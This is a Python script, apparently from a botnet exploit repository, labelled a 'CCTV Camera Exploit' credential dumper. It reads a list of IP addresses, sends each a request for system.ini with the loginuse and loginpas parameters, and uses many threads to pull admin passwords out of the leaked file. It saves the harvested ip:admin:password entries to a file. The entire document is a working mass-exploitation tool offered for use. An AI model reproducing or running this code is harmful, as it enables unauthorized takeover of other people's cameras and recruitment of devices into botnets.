Path: blob/master/Botnets/Exploits/IPCAM FULL/dumper.py
5038 views
#!/usr/bin/python1# Bruteforce tool for CCTV RCE Exploit2# Usage: python3 dumper.py 100034import urllib.request, threading, socket, time, sys5if len(sys.argv) != 2:6print("Correct useage: python " + sys.argv[0].split("\\").pop() + " <thread count> ")7sys.exit()89lock, finalprintout, timeout, creds, threads, threadcount, leak, total = threading.Lock(), "", 5, [], [], int(sys.argv[1]), "http://TARGET/system.ini?loginuse&loginpas", 01011# Open output.txt12list = open("output.txt", "r")13scan = list.read()14list.close()1516scan = scan.split("\n")17while "\n" in scan:18scan.remove("\n")19pretotal = len(scan)20def dumpcreds():21global finalprintout22global total23global scan24while len(scan) > 0:25try:26with lock:27ip = scan.pop()28with urllib.request.urlopen(leak.replace("TARGET", ip), None, timeout) as response:29reply = str(response.read())30if reply.find("admin") != -1:31reply = reply[reply.find("admin"):]32while reply.find("\\x00") != -1:33reply = reply.replace("\\x00", "")34password = reply[5:reply.find("\\")]35if password.find("/") != -1:36password = password[:password.find("/")]37print("\x1b[0;37m[\x1b[0;35m*\x1b[0;37m] |\x1b[0;35mFound\x1b[0;37m| admin:" + password + "@" + ip)38with lock:39finalprintout += ip + ":admin:" + password + "\n"40total += 141except:42pass4344print(" \x1b[1;37m[\x1b[1;35m+\x1b[1;37m] \x1b[1;35mCCTV Camera Exploit \x1b[1;37m[\x1b[1;35m+\x1b[1;37m]\x1b[0m")45print(" \x1b[1;37m[\x1b[1;31m*\x1b[1;37m] \x1b[1;36mCredits go to ★Cam★ \x1b[1;37m[\x1b[1;31m*\x1b[1;37m]")46time.sleep(6)47print(" \x1b[1;35mDumping Credentials, please wait")48time.sleep(4)4950for i in range(0, threadcount+1):51threads.append(threading.Thread(target=dumpcreds))5253for thread in threads:54try:55thread.daemon = True56thread.start()57except:58pass5960for thread in threads:61try:62thread.join()63except:64pass6566while 1:67time.sleep(1)68done = False69for thread in threads:70if thread.isAlive() == True:71done = False72break73else:74done = True75if done == True:76writingit = open("vuln.txt", "w")77writingit.write(finalprintout)78writingit.close()79print(str(total) + " of out " + str(pretotal) + " credentials dumped, " + str(int(100 / pretotal * total)) + "% success rate. ")80break8182